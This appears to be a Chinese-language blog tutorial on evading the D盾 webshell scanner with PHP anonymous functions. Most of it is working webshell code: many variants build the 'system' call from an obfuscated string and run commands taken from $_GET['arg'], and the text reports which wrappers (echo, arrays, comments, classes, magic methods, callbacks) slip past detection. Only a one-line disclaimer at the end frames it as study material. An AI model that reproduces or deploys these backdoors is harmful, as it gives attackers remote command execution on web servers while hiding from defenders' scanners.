巧用匿名函数绕过D盾
字数 903 2025-08-18 11:39:26
PHP匿名函数绕过D盾Webshell检测技术详解
一、基础概念
1. 匿名函数(闭包函数)
- 允许临时创建没有名称的函数
- 常用作回调函数
- 基本语法:
$func = function($params) { /* code */ };
2. D盾检测原理
- 主要检测危险函数调用(eval, system等)
- 检测可变函数调用方式
- 对动态函数调用敏感
二、基础绕过技术
1. 基本匿名函数Webshell
$greet = function($name){
eval($name);
};
$greet($_GET['name']);
- 问题:D盾会检测为已知后门
- 原因:eval是语言构造器,不是函数,容易被检测
2. 改进为system函数
$greet = function($method,$arg){
$method($arg);
};
$greet($_GET['method'],$_GET['arg']);
- 结果:D盾报级别1风险
- 分析:动态获取方法名和参数
3. 字符串拼接混淆
$greet = function($arg){
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$greet();
- 原理:通过字符串操作构造'system'
- 检测:仍被识别为可变函数
三、高级绕过技术
1. echo括号绕过
$greet = function(){
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
echo ($greet)();
- 效果:成功绕过D盾
- 原理:D盾可能将echo后的内容当作字符串处理
2. 普通函数替代
function greet(){
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
greet();
- 变种:通过变量调用
$a='greet';
echo ($a)();
3. 数组存储匿名函数
$array['func'] = function(){
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$array['func']();
- 问题:仍被检测
- 改进:添加注释
$array['func']/*5555*/();
4. 结合echo的数组调用
$greet = function(){
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$array['func']=$greet;
echo ($array['func'])();
- 关键点:D盾未回溯数组变量
四、PHP7特有技术
1. 直接调用匿名函数
(function($arg){
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
})();
- 限制:仅PHP7支持
五、面向对象绕过技术
1. 类方法返回匿名函数
class Test{
public function testing() {
return function() {
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
}
}
$a=new Test();
$b=$a->testing();
$b();
2. 类属性存储匿名函数
class Test{
public $greet;
public function __construct() {
$this->greet = function() {
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
}
}
$a=new Test();
$b=$a->greet;
$b();
3. 魔术方法利用
class Test{
public function __toString() {
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
return '1';
}
}
$a=new Test();
echo $a;
- 可用魔术方法:
__call,__set,__get等
六、回调函数技术
1. call_user_func调用
$greet = function(){
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
call_user_func($greet);
2. 数组形式的回调
$greet = function(){
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$array['func']=$greet;
call_user_func($array['func']);
七、技术总结
-
核心代码:始终围绕
(substr($method,0,3).substr($method, 4))($_GET['arg']);构造 -
关键绕过点:
- 避免直接的可变函数调用
- 使用echo/print等输出函数包裹
- 利用面向对象特性
- 使用回调函数替代直接调用
-
D盾检测特点:
- 对可变函数敏感
- 不完全回溯变量来源
- echo/print能降低威胁级别
-
有效技术:
- echo/print包裹调用
- 类方法和魔术方法
- 回调函数调用方式
- PHP7直接调用语法
注意:本文仅供学习PHP语言特性和安全防护技术研究使用,请勿用于非法用途。